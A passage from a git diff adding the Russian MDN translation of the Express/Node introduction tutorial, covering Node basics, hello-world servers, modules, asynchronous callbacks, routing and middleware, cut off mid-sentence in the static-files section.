href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">Установка LocalLibrary на PWS/Cloud Foundry</a></dt> + <dd>В этой статье представлена практическая демонстрация того, как установить <em>LocalLibrary</em> на <a href="http://run.pivotal.io">облаке Pivotal Web Services PaaS</a> — это полнофункциональная альтернатива с открытым исходным кодом для Heroku, облачного сервиса PaaS используемого в части 7 этого учебника, представленного выше. PWS/Cloud Foundry опредленно стоит попробовать, если вы ищете альтернативу Heroku (или другому PaaS облачному сервису), или просто хотите попробовать что-то другое.</dd> +</dl> + +<h2 id="Изучите_другие_учебники">Изучите другие учебники</h2> + +<div> +<p>Это все статьи учебника (на данный момент). Если вы хотите продолжить обучение, есть другие интересные темы:</p> + +<ul> + <li>Использование сессий</li> + <li>Авторизация пользователей</li> + <li>Авторизация пользователей и уровни доступа</li> + <li>Тестирование веб приложений Express</li> + <li>Веб безопасность для веб приложений Express.</li> +</ul> + +<p>И, конечно, было бы неплохо создать какой-либо проверочный тест знаний!</p> +</div> diff --git a/files/ru/learn/server-side/express_nodejs/introduction/index.html b/files/ru/learn/server-side/express_nodejs/introduction/index.html new file mode 100644 index 0000000000..bbe40c95f7 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/introduction/index.html @@ -0,0 +1,512 @@ +--- +title: Express/Node introduction +slug: Learn/Server-side/Express_Nodejs/Introduction +translation_of: Learn/Server-side/Express_Nodejs/Introduction +--- +<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">В этой первой статье по Express мы ответим на вопросы "Что такое Node?" и "Что такое Express?", и сделаем обзор того, что делает веб-фреймворк Express таким особенным. <span id="result_box" lang="ru"><span>Мы расскажем об основных функциях и покажем вам некоторые из основных строительных блоков приложения Express (хотя на данный момент у вас еще нет среды разработки, в которой можно ее протестировать).</span></span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Предварительные знания:</th> + <td><span id="result_box" lang="ru"><span>Базовая компьютерная грамотность.</span> <span>Общее понимание </span></span><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps">серверного программирования веб-сайтов </a><span lang="ru"><span>и, в частности, механики </span></span><a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">клиент-серверного взаимодействия на веб-сайтах</a>.</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Ознакомить Вас с фреймворком <span id="result_box" lang="ru"><span>Express и как он вписывается в среду Node, какие функции он предоставляет, и основные строительные блоки приложения Express.</span></span></td> + </tr> + </tbody> +</table> + +<h2 id="Что_такое_Express_и_Node">Что такое Express и Node?</h2> + +<p><a href="https://nodejs.org/">Node</a> (или более формально<em> Node.js</em>) <span id="result_box" lang="ru"><span>- кросплатформенная среда исполнения с открытым исходным кодом, которая позволяет разработчикам создавать всевозможные серверные инструменты и приложения используя язык </span></span><a href="/en-US/docs/Glossary/JavaScript">JavaScript</a><span lang="ru"><span>. Среда исполнения предназначена для использования вне контекста браузера </span></span>(т.е. <span id="result_box" lang="ru"><span>выполняется непосредственно на компьютере или на серверной ОС)</span></span>. <span id="result_box" lang="ru"><span>Таким образом, среда исключает API-интерфейсы JavaScript для браузера и добавляет поддержку более традиционных OS API-интерфейсов</span></span><span lang="ru"><span>, включая библиотеки HTTP и файловых систем.</span></span></p> + +<p>С точки зрения веб-серверной разработки Node имеет ряд преимуществ:</p> + +<ul> + <li>Отличная производительность! Node <span id="result_box" lang="ru"><span>был разработан для оптимизации пропускной способности и масштабируемости в веб-приложениях и очень хорошо справляется со многими распространенными проблемами веб-разработки (например, веб-приложения реального времени).</span></span></li> + <li><span id="result_box" lang="ru"><span>Код написан на «обычном старом JavaScript», а это означает, что затрачивается меньше времени при написании кода для браузера и веб-сервера связанное с «переключением технологий» между языками.</span></span></li> + <li><span id="result_box" lang="ru"><span>JavaScript является относительно новым языком программирования и имеет преимущества от улучшения дизайна языка по сравнению с другими традиционными языками для веб-серверов</span></span> (например, Python, PHP, и т.д.). Многие другие новые и популярные языки компилируются/конвертируются в JavaScript, поэтому вы можете также использовать CoffeeScript, ClosureScript, Scala, LiveScript, etc.</li> + <li>Менеджер пакетов Node (NPM) <span id="result_box" lang="ru"><span>обеспечивает доступ к сотням тысяч многоразовых пакетов.</span> <span>Он также имеет лучшее в своем классе разрешение зависимостей и может также использоваться для автоматизации большинства инструментов построения.</span></span></li> + <li>Он портативен, имеет версии для Microsoft Windows, OS X, Linux, Solaris, FreeBSD, OpenBSD, WebOS, и NonStop OS. Кроме того, он имеет хорошую поддержку среди многих хостинг-провайдеров, <span id="result_box" lang="ru"><span>которые часто предоставляют конкретную инфраструктуру и документацию для размещения сайтов, работающих на Node.</span></span></li> + <li><span id="result_box" lang="ru"><span>Он имеет очень активную стороннюю экосистему и сообщество разработчиков, которые всегда готовы помочь.</span></span></li> +</ul> + +<p><span lang="ru"><span>Вы можете изпользовать Node.js для создания простого веб сервера используя пакет Node HTTP. </span></span></p> + +<h3 id="Hello_Node.js">Hello Node.js</h3> + +<p>Следующий пример создаёт веб сервер который прослушивает любой HTTP запрос на <span id="result_box" lang="ru"><span>URL <code>http://127.0.0.1:8000/</code> </span></span>— когда запрос будет получен, скрипт ответит строкой "Hello World". Если Вы уже установили node, можете, следуя шагам инструкции попробовать пример:</p> + +<ol> + <li>Откройте терминал (в Windows окно командной строки)</li> + <li>Создайте папку, куда вы хотите сохранить программу, к примеру <code>test-node</code> и перейдите в нее с помощью следующей команды:</li> +</ol> + +<pre class="notranslate"><code>cd test-node</code></pre> + +<ol start="3"> + <li>Используя любимый текстовый редактор, создайте файл <code>hello.js</code> и вставьте в него код:</li> +</ol> + +<pre class="brush: js notranslate">// Загружаем HTTP модуль +const http = require("http"); + +const hostname = "127.0.0.1"; +const port = 8000; + +// Создаем HTTP-сервер +const server = http.createServer((req, res) => { + + // Устанавливаем HTTP-заголовок ответа с HTTP статусом и Content type + res.writeHead(200, {'Content-Type': 'text/plain'}); + + // Отсылаем тело ответа "Hello World" + res.end('Hello World\n'); +}); + +// Выводим лог как только сервер будет запущен +server.listen(port, hostname, () => { + console.log(`Server running at http://${hostname}:${port}/`); +}) +</pre> + +<ol start="4"> + <li>Сохраните файл в папку, созданную выше.</li> + <li>Вернитесь в терминал и выполните следующую команду:</li> +</ol> + +<pre class="notranslate"><code>node hello.js</code></pre> + +<p>В итоге, перейдите по ссылке <code>http://localhost:8000</code> в вашем браузере; вы должны увидеть текст "<strong>Hello World</strong>" в верху слева на чистой странице.</p> + +<h2 id="Веб_фреймворк">Веб фреймворк</h2> + +<p>Другие общие для веб-программирования задачи не поддерживаются на прямую Node. Если вы хотите добавить специфичную поддержку различных HTTP методов (например <code>GET</code>, <code>POST</code>, <code>DELETE</code>, и т.д.) по разному для разных URL путей ("routes"), отдачу статических файлов, или использовать шаблоны для создания динамических ответов, вам нужно написать код самим, или можете отказаться от изобретения колеса и использовать фреймворк!</p> + +<h2 id="Введение_в_Express">Введение в Express</h2> + +<p><a href="https://expressjs.com/">Express</a> - самый популярный веб-фреймворк для <em>Node</em>. Он является базовой библиотекой для ряда других популярных <a href="https://expressjs.com/en/resources/frameworks.html">веб-фреймворков Node</a>. Он предоставляет следующие механизмы:</p> + +<ul> + <li>Написание обработчиков для запросов с различными HTTP-методами в разных URL-адресах (маршрутах).</li> + <li>Интеграцию с механизмами рендеринга «view», для генерации ответов, вставляя данные в шаблоны.</li> + <li>Установка общих параметров веб-приложения, такие как порт для подключения, и расположение шаблонов, которые используются для отображения ответа.</li> + <li>«промежуточное ПО» для дополнительной обработки запроса в любой момент в конвейере обработки запросов.</li> +</ul> + +<p>В то время как сам express довольно минималистичный, разработчики создали совместимые пакеты промежуточного программного обеспечения для решения практически любой проблемы с веб-разработкой. Существуют библиотеки для работы с куки-файлами, сеансами, входами пользователей, параметрами URL, данными POST, заголовками безопасности и многими другими. Вы можете найти список пакетов промежуточного программного обеспечения, поддерживаемых командой Express в <a href="http://expressjs.com/en/resources/middleware.html">Express Middleware</a> (наряду со списком некоторых популярных пакетов сторонних производителей) .</p> + +<div class="note"> +<p><strong>Примечание:</strong> Гибкость это палка о двух концах. <span id="result_box" lang="ru"><span>Существуют пакеты промежуточного программного обеспечения (middleware) для решения практически любых проблем или для удовлетворения любых ваших требований, но правильный выбор подходящих пакетов иногда может быть проблемой.</span> <span>Также нет «правильного пути» для структурирования приложения, и многие примеры, которые вы можете найти в Интернете, не являются оптимальными или лишь показывают небольшую часть того, что вам нужно сделать для разработки веб-приложения.</span></span></p> +</div> + +<h2 id="Откуда_это_все_взялось">Откуда это все взялось?</h2> + +<p>Node первоначально был выпущен только под Linux в 2009. Менеджер пакетов NPM был выпущен в 2010, а поддержка Windows была добавлена в 2012. Текущая LTS-версия Node v12.16.1 , в то время как последний выпуск Node версии 13.11.0. Это короткий экскурс в историю; обратитесь к <a href="https://en.wikipedia.org/wiki/Node.js#History">Википедии</a>, если вы хотите узнать больше).</p> + +<p>Express первоначально был выпущен в ноябре 2010 и текущая версия API 4.17.1 Вы можете отследить <a href="https://expressjs.com/en/changelog/4x.html">изменения</a> и текущий релиз, и <a href="https://github.com/expressjs/express/blob/master/History.md">GitHub</a> для более детальной информации о релизах.</p> + +<h2 id="Насколько_популярен_NodeExpress">Насколько популярен Node/Express?</h2> + +<p>Популярность веб-фрэймворка важна, поскольку она является индикатором того, будет ли она продолжаться, и какие ресурсы, вероятно, будут доступны с точки зрения документации, дополнительных библиотек и технической поддержки.</p> + +<p>Не существует какого-либо доступного и точного измерения популярности серверных фреймворков (хотя сайты, такие как Hot Frameworks, пытаются оценить популярность, используя такие механизмы, как подсчет количества проектов на GitHub и вопросов на StackOverflow для каждой платформы). Лучший вопрос заключается в том, достаточно ли популярны Node и Express, чтобы избежать проблем с непопулярными платформами. Они продолжают развиваться? Можете ли вы получить помощь, если вам это нужно? Есть ли у вас возможность получить оплачиваемую работу, если вы изучаете Express?</p> + +<p>Как только мы посмотрим на список <a href="https://expressjs.com/en/resources/companies-using-express.html">широкоизвестных компаний</a> пользующихся Express, количество разработчиков участвующих в разработке Express, и громадному числу людей, которые занимаются поддержкой Express, то мы с уверенностью скажем - <em>Express</em> поистине популярный фреймворк!</p> + +<h2 id="Является_ли_Express_ограничивающим">Является ли Express ограничивающим?</h2> + +<p>Web-фрэймворки часто принято делить на "ограничивающие" и "неограничивающие".</p> + +<p>Ограничивающими фрэймворки считаются фрэймворки, которые следуют "должным" ограничениям при выполнении отдельных задач. Довольно часто они ориентированы на ускоренную разработку <em>в конкретной области</em> (решение задач определенного типа), поскольку должный подход к произвольно выбранной задаче бывает не прост для понимания и плохо документирован. При этом они лишаются гибкости при решении задач выходящих за сферу их обычного применения, а так же проявляют тенденцию к ограничению выбора компонентов и подходов своего применения. </p> + +<p>Напротив, неограничивающие фреймворки имеют гораздо меньше ограничений для связи компонентов, что бы достичь цели или ограничений в выборе используемых компонентов. Они облегчают разработчикам использование наиболее подходящих инструментов для выполнения конкретной задачи, но платой за это будет то, что вы самостоятельно должны найти такие компоненты.</p> + +<p>Express не ограничивающий. Вы можете вставить в цепочку обработки (middleware) запросов практически любое совместимые промежуточные компоненты, которые вам нравятся. Вы можете структурировать приложение в одном файле или в нескольких, использую любую структуру каталогов. Иногда вы можете чувствовать, что у вас слишком много вариантов!</p> + +<h2 id="Как_выглядит_код_Express">Как выглядит код Express?</h2> + +<p>В традиционных динамических веб-сайтах, веб-приложение ожидает HTTP-запроса от веб-браузера (или другого клиента). Когда запрос получен, приложение определяет, какое действие необходимо выполнить на основе URL шаблна и, возможно, связанной информации, содержащейся в данных <code>POST</code> или <code>GET</code>. В зависимости от того, что требуется, Express может затем читать или записывать данные из/в базы данных или выполнять другие задачи, в соответствии с полученным запросом. Затем приложение возвращает ответ в веб-браузер, зачастую динамически создавая HTML страницу для отображения браузером, вставляя извлеченные данные в заполнители HTML шаблона.</p> + +<p>Express предоставляет методы позволяющие указать, какая функция вызывается для конкретного HTTP запроса (<code>GET</code>, <code>POST</code>, <code>SET</code>, etc.), и URL шаблон ("Route"), а также методы позволяющие указать, какой механизм шаблона ("view") используется, где находятся шаблоныы файлов и какой шаблон использовать для вывода ответа. Вы можете использовать Express middleware для добавления поддержки файлов cookies, сеансов, и пользователей, получения <code>POST</code>/<code>GET</code> параметров, и т.д. Вы можете использовать любой механизм базы данных, поддерживаемый Node (Express не определяет поведение, связанное с базой данных).</p> + +<p>В следующих разделах объясняются некоторые общие моменты, которые вы увидите при работе с кодом <em>Express</em> and <em>Node</em>.</p> + +<h3 id="Helloworld_Express">Helloworld Express</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Сначала давайте рассмотрим стандартный пример Express Hello World (мы обсудим каждую часть этого ниже и в следующих разделах).</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Совет: Если у вас уже установлены Node и Express (или если вы устанавливаете их, как показано в следующей статье), вы можете сохранить этот код в файле с именем app.js и запустить его в командной строке, вызвав узел app.js.</span> <span title="">отражения</span><span title="">)</span><span title="">.</span></span></p> +</div> + +<pre class="brush: js notranslate">var express = require('express'); +var app = express(); + +<strong>app.get('/', function(req, res) { + res.send('Hello World!'); +});</strong> + +app.listen(3000, function() { + console.log('Example app listening on port 3000!'); +}); +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Первые две строки требуют () (импорт) модуля Express и создания приложения Express.</span> <span title="">Этот объект, который традиционно называется app, имеет методы для маршрутизации HTTP-запросов, настройки промежуточного программного обеспечения, рендеринга представлений HTML, регистрации механизма шаблонов и изменения параметров приложения, которые управляют поведением приложения (например, режим среды, чувствительны ли определения маршрута к регистру).</span> <span title="">, и т.д.)</span></span></p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Средняя часть кода (три строки, начинающиеся с app.get) показывает определение маршрута.</span> <span title="">Метод app.get () указывает функцию обратного вызова, которая будет вызываться всякий раз, когда есть HTTP-запрос GET с путем ('/') относительно корня сайта.</span> <span title="">Функция обратного вызова принимает запрос и объект ответа в качестве аргументов и просто вызывает send () для ответа, чтобы вернуть строку «Hello World!»</span></span></p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Последний блок запускает сервер через порт «3000» и печатает комментарий журнала в консоль.</span> <span title="">Когда сервер работает, вы можете перейти к localhost: 3000 в вашем браузере, чтобы увидеть возвращенный пример ответа.</span></span></p> + +<h3 id="Импорт_и_создание_модулей"><span class="tlid-translation translation" lang="ru"><span title="">Импорт и создание модулей</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Модуль - это библиотека / файл JavaScript, который вы можете импортировать в другой код с помощью функции require () Node.</span> <span title="">Express сам по себе является модулем, как и промежуточное программное обеспечение и библиотеки баз данных, которые мы используем в наших приложениях Express.</span><br> + <br> + <span title="">Приведенный ниже код показывает, как мы импортируем модуль по имени, используя в качестве примера платформу Express.</span> <span title="">Сначала мы вызываем функцию require (), определяя имя модуля в виде строки («express») и вызывая возвращенный объект для создания приложения Express.</span> <span title="">Затем мы можем получить доступ к свойствам и функциям объекта приложения.</span></span></p> + +<pre class="brush: js notranslate">var express = require('express'); +var app = express(); +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы также можете создавать свои собственные модули, которые можно импортировать таким же образом.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Совет: вы захотите создать свои собственные модули, потому что это позволяет вам организовать ваш код в управляемые части - монолитное однофайловое приложение трудно понять и поддерживать.</span> <span title="">Использование модулей также помогает вам управлять пространством имен, поскольку при использовании модуля импортируются только те переменные, которые вы явно экспортировали.</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы сделать объекты доступными вне модуля, вам просто нужно назначить их объекту экспорта.</span> <span title="">Например, модуль square.js ниже представляет собой файл, который экспортирует методы area () и perimeter ():</span></span></p> + +<pre class="brush: js notranslate">exports.area = function(width) { return width * width; }; +exports.perimeter = function(width) { return 4 * width; }; +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Мы можем импортировать этот модуль, используя require (), а затем вызвать экспортированные методы, как показано:</span></span></p> + +<pre class="brush: js notranslate">var square = require('./square'); // Here we require() the name of the file without the (optional) .js file extension +console.log('The area of a square with a width of 4 is ' + square.area(4));</pre> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Вы также можете указать абсолютный путь к модулю (или имя, как мы делали изначально).</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Если вы хотите экспортировать полный объект в одном назначении, а не создавать его по одному свойству за раз, назначьте его для module.exports, как показано ниже (вы также можете сделать это, чтобы сделать корень объекта экспорта конструктором или другой функцией)</span> <span title="">:</span></span></p> + +<pre class="brush: js notranslate">module.exports = { + area: function(width) { + return width * width; + }, + + perimeter: function(width) { + return 4 * width; + } +}; +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Для получения дополнительной информации о модулях см.</span></span> <a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (Node API docs).</p> + +<h3 id="Использование_асинхронных_API"><span class="tlid-translation translation" lang="ru"><span title="">Использование асинхронных API</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Код JavaScript часто использует асинхронные, а не синхронные API для операций, выполнение которых может занять некоторое время.</span> <span title="">Синхронный API - это тот, в котором каждая операция должна завершиться до начала следующей операции.</span> <span title="">Например, следующие функции журнала являются синхронными и выводят текст на консоль по порядку (первый, второй).</span></span></p> + +<pre class="brush: js notranslate">console.log('First'); +console.log('Second'); +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">В отличие от этого, асинхронный API - это тот, в котором API начнет операцию и сразу же вернется (до завершения операции).</span> <span title="">После завершения операции API будет использовать некоторый механизм для выполнения дополнительных операций.</span> <span title="">Например, приведенный ниже код выведет «Second, First», потому что хотя метод setTimeout () вызывается первым и возвращается немедленно, операция не завершается в течение нескольких секунд.</span></span></p> + +<pre class="brush: js notranslate">setTimeout(function() { + console.log('First'); + }, 3000); +console.log('Second'); +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Использование неблокирующих асинхронных API-интерфейсов еще более важно в Node, чем в браузере, поскольку Node - это однопоточная среда выполнения, управляемая событиями.</span> <span title="">«Однопоточный» означает, что все запросы к серверу выполняются в одном потоке (а не порождаются в отдельных процессах).</span> <span title="">Эта модель чрезвычайно эффективна с точки зрения скорости и ресурсов сервера, но это означает, что если любая из ваших функций вызывает синхронные методы, выполнение которых занимает много времени, они будут блокировать не только текущий запрос, но и любой другой запрос, обрабатываемый</span> <span title="">ваше веб-приложение.</span><br> + <br> + <span title="">Есть несколько способов, которыми асинхронный API уведомляет ваше приложение о том, что оно завершено.</span> <span title="">Наиболее распространенный способ - зарегистрировать функцию обратного вызова при вызове асинхронного API, который будет вызываться после завершения операции.</span> <span title="">Это подход, использованный выше.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Совет: Использование обратных вызовов может быть довольно «грязным», если у вас есть последовательность зависимых асинхронных операций, которые должны выполняться по порядку, потому что это приводит к нескольким уровням вложенных обратных вызовов.</span> <span title="">Эта проблема широко известна как «ад обратного вызова».</span> <span title="">Эту проблему можно решить с помощью хороших методов кодирования (см. Http://callbackhell.com/), использования такого модуля, как async, или даже перехода к функциям ES6, таким как Promises.</span></span></p> +</div> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Общим соглашением для Node и Express является использование обратных вызовов с ошибками.</span> <span title="">В этом соглашении первое значение в ваших функциях обратного вызова является значением ошибки, в то время как последующие аргументы содержат данные об успехе.</span> <span title="">В этом блоге есть хорошее объяснение того, почему этот подход полезен: путь Node.js - понимание обратных вызовов с ошибками (fredkschott.com).</span></span></p> +</div> + +<h3 id="Создание_обработчиков_маршрута"><span class="tlid-translation translation" lang="ru"><span title="">Создание обработчиков маршрута</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">В нашем примере Hello World Express (см. Выше) мы определили функцию обработчика маршрута (обратного вызова) для HTTP-запросов GET к корню сайта ('/').</span></span></p> + +<pre class="brush: js notranslate">app.<strong>get</strong>('/', function(req, res) { + res.send('Hello World!'); +}); +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Функция обратного вызова принимает запрос и объект ответа в качестве аргументов.</span> <span title="">В этом случае метод просто вызывает send () в ответе, чтобы вернуть строку «Hello World!»</span> <span title="">Существует ряд других методов ответа для завершения цикла запрос / ответ, например, вы можете вызвать res.json () для отправки ответа JSON или res.sendFile () для отправки файла.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Совет по JavaScript: вы можете использовать любые имена аргументов, которые вам нравятся, в функциях обратного вызова;</span> <span title="">при вызове обратного вызова первый аргумент всегда будет запросом, а второй всегда будет ответом.</span> <span title="">Имеет смысл назвать их так, чтобы вы могли идентифицировать объект, с которым работаете, в теле обратного вызова.</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Объект приложения Express также предоставляет методы для определения обработчиков маршрутов для всех других HTTP-глаголов, которые в основном используются одинаково: post (), put (), delete (), options (), trace (), copy (</span> <span title="">), lock (), mkcol (), move (), purge (), propfind (), proppatch (), unlock (), report (), mkactivity (), checkout (), merge (</span> <span title="">), m-search (), notify (), subscribe (), unsubscribe (), patch (), search () и connect ().</span></span></p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Существует специальный метод маршрутизации app.all (), который будет вызываться в ответ на любой метод HTTP.</span> <span title="">Это используется для загрузки функций промежуточного программного обеспечения по определенному пути для всех методов запроса.</span> <span title="">В следующем примере (из документации Express) показан обработчик, который будет выполняться для запросов к / secret независимо от используемого глагола HTTP (при условии, что он поддерживается модулем http).</span></span></p> + +<pre class="brush: js notranslate">app.all('/secret', function(req, res, next) { + console.log('Accessing the secret section ...'); + next(); // pass control to the next handler +});</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Маршруты позволяют сопоставлять определенные шаблоны символов в URL-адресе, извлекать некоторые значения из URL-адреса и передавать их в качестве параметров обработчику маршрута (в качестве атрибутов объекта запроса, передаваемого в качестве параметра).</span><br> + <br> + <span title="">Часто полезно группировать обработчики маршрутов для определенной части сайта и получать к ним доступ с помощью общего префикса маршрута (например, сайт с вики может иметь все связанные с вики маршруты в одном файле и иметь к ним доступ с префиксом маршрута</span> <span title="">из / вики /).</span> <span title="">В Express это достигается с помощью объекта express.Router.</span> <span title="">Например, мы можем создать наш вики-маршрут в модуле с именем wiki.js, а затем экспортировать объект Router, как показано ниже:</span></span></p> + +<pre class="brush: js notranslate">// wiki.js - Wiki route module + +var express = require('express'); +var router = express.Router(); + +// Home page route +router.get('/', function(req, res) { + res.send('Wiki home page'); +}); + +// About page route +router.get('/about', function(req, res) { + res.send('About this wiki'); +}); + +module.exports = router; +</pre> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Добавление маршрутов к объекту Router аналогично добавлению маршрутов к объекту приложения (как показано ранее).</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы использовать маршрутизатор в нашем главном файле приложения, нам потребуется () модуль route (wiki.js), а затем вызовите use () в приложении Express, чтобы добавить маршрутизатор в путь обработки промежуточного программного обеспечения.</span> <span title="">Эти два маршрута будут доступны из / wiki / и / wiki / about /.</span></span></p> + +<pre class="brush: js notranslate">var wiki = require('./wiki.js'); +// ... +app.use('/wiki', wiki);</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Мы покажем вам намного больше о работе с маршрутами, и в частности об использовании маршрутизатора, позже в связанном разделе</span></span> <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes"> Routes and controllers .</a></p> + +<h3 id="Использование_промежуточного_программного_обеспечения"><span class="tlid-translation translation" lang="ru"><span title="">Использование промежуточного программного обеспечения</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Промежуточное программное обеспечение широко используется в приложениях Express для задач от обслуживания статических файлов до обработки ошибок и сжатия HTTP-ответов.</span> <span title="">Принимая во внимание, что функции маршрута заканчивают цикл запроса-ответа HTTP, возвращая некоторый ответ клиенту HTTP, функции промежуточного программного обеспечения обычно выполняют некоторую операцию над запросом или ответом и затем вызывают следующую функцию в «стеке», которая может быть большим количеством промежуточного программного обеспечения или маршрута</span> <span title="">обработчик</span><span title="">.</span> <span title="">Порядок вызова промежуточного программного обеспечения зависит от разработчика приложения.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Промежуточное программное обеспечение может выполнять любую операцию, выполнять любой код, вносить изменения в объект запроса и ответа, а также может завершать цикл запрос-ответ.</span> <span title="">Если он не завершает цикл, он должен вызвать next (), чтобы передать управление следующей функции промежуточного программного обеспечения (или запрос останется зависшим).</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Большинство приложений используют стороннее промежуточное программное обеспечение для упрощения общих задач веб-разработки, таких как работа с файлами cookie, сессиями, аутентификацией пользователя, доступом к данным запросов POST и JSON, ведение журнала и т. д. Список пакетов промежуточного программного обеспечения, поддерживаемых командой Express, можно найти.</span> <span title="">(который также включает в себя другие популярные сторонние пакеты).</span> <span title="">Другие экспресс-пакеты доступны в диспетчере пакетов NPM.</span><br> + <br> + <span title="">Для использования стороннего промежуточного программного обеспечения сначала необходимо установить его в свое приложение с помощью NPM.</span> <span title="">Например, чтобы установить промежуточное программное обеспечение средства регистрации HTTP-запросов morgan, вы должны сделать следующее:</span></span></p> + +<pre class="brush: bash notranslate"><code>$ npm install morgan +</code></pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Затем вы можете вызвать use () для объекта приложения Express, чтобы добавить промежуточное программное обеспечение в стек:</span></span></p> + +<pre class="brush: js notranslate">var express = require('express'); +<strong>var logger = require('morgan');</strong> +var app = express(); +<strong>app.use(logger('dev'));</strong> +...</pre> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание. Промежуточное программное обеспечение и функции маршрутизации вызываются в том порядке, в котором они были объявлены.</span> <span title="">Для некоторого промежуточного программного обеспечения важен порядок (например, если промежуточное программное обеспечение сеанса зависит от промежуточного программного обеспечения cookie, то сначала должен быть добавлен обработчик cookie).</span> <span title="">Почти всегда случается так, что промежуточное ПО вызывается перед настройкой маршрутов, иначе ваши обработчики маршрутов не будут иметь доступа к функциям, добавленным вашим промежуточным ПО.</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете написать свои собственные функции промежуточного программного обеспечения, и вам, вероятно, придется это сделать (хотя бы для создания кода обработки ошибок).</span> <span title="">Единственное различие между функцией промежуточного программного обеспечения и обратным вызовом обработчика маршрута состоит в том, что функции промежуточного программного обеспечения имеют третий аргумент, следующий: какие функции промежуточного программного обеспечения должны вызываться, если они не завершают цикл запроса (когда вызывается функция промежуточного программного обеспечения, она содержит следующую функцию).</span> <span title="">это надо называть).</span></span></p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете добавить функцию промежуточного программного обеспечения в цепочку обработки с помощью app.use () или app.add (), в зависимости от того, хотите ли вы применить промежуточное программное обеспечение ко всем ответам или к ответам с определенным глаголом HTTP (GET, POST и т. д.).</span> <span title="">)</span><span title="">.</span> <span title="">Маршруты задаются одинаково в обоих случаях, хотя маршрут необязателен при вызове app.use ().</span><br> + <br> + <span title="">В приведенном ниже примере показано, как можно добавить функцию промежуточного программного обеспечения, используя оба метода, а также с / без маршрута.</span></span></p> + +<pre class="brush: js notranslate">var express = require('express'); +var app = express(); + +// An example middleware function +var a_middleware_function = function(req, res, <em>next</em>) { + // ... perform some operations + next(); // Call next() so Express will call the next middleware function in the chain. +} + +// Function added with use() for all routes and verbs +app.use(a_middleware_function); + +// Function added with use() for a specific route +app.use('/someroute', a_middleware_function); + +// A middleware function added for a specific HTTP verb and route +app.get('/', a_middleware_function); + +app.listen(3000);</pre> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Совет по JavaScript: выше мы объявляем функцию промежуточного программного обеспечения отдельно, а затем устанавливаем ее в качестве обратного вызова.</span> <span title="">В нашей предыдущей функции обработчика маршрута мы объявили функцию обратного вызова, когда она использовалась.</span> <span title="">В JavaScript любой подход является допустимым.</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Документация по Express содержит намного больше отличной информации по использованию и написанию промежуточного программного обеспечения Express.</span></span></p> + +<h3 id="Обслуживание_статических_файлов"><span class="tlid-translation translation" lang="ru"><span title="">Обслуживание статических файлов</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете использовать промежуточное программное обеспечение express.static для обслуживания статических файлов, включая ваши изображения, CSS и JavaScript (static () - единственная функция промежуточного программного обеспечения, которая фактически является частью Express).</span> <span title="">Например, вы должны использовать строку ниже для обслуживания изображений, файлов CSS и файлов JavaScript из каталога с именем public на том же уровне, где вы вызываете узел:</span></span></p> + +<pre class="brush: js notranslate">app.use(express.static('public')); +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Любые файлы в публичном каталоге обслуживаются путем добавления их имени файла (относительно базового «публичного» каталога) к базовому URL.</span> <span title="">Так, например:</span></span></p> + +<pre class="notranslate"><code>http://localhost:3000/images/dog.jpg +http://localhost:3000/css/style.css +http://localhost:3000/js/app.js +http://localhost:3000/about.html +</code></pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете вызывать static () несколько раз для обслуживания нескольких каталогов.</span> <span title="">Если файл не может быть найден одной функцией промежуточного программного обеспечения, он будет просто передан последующему промежуточному программному 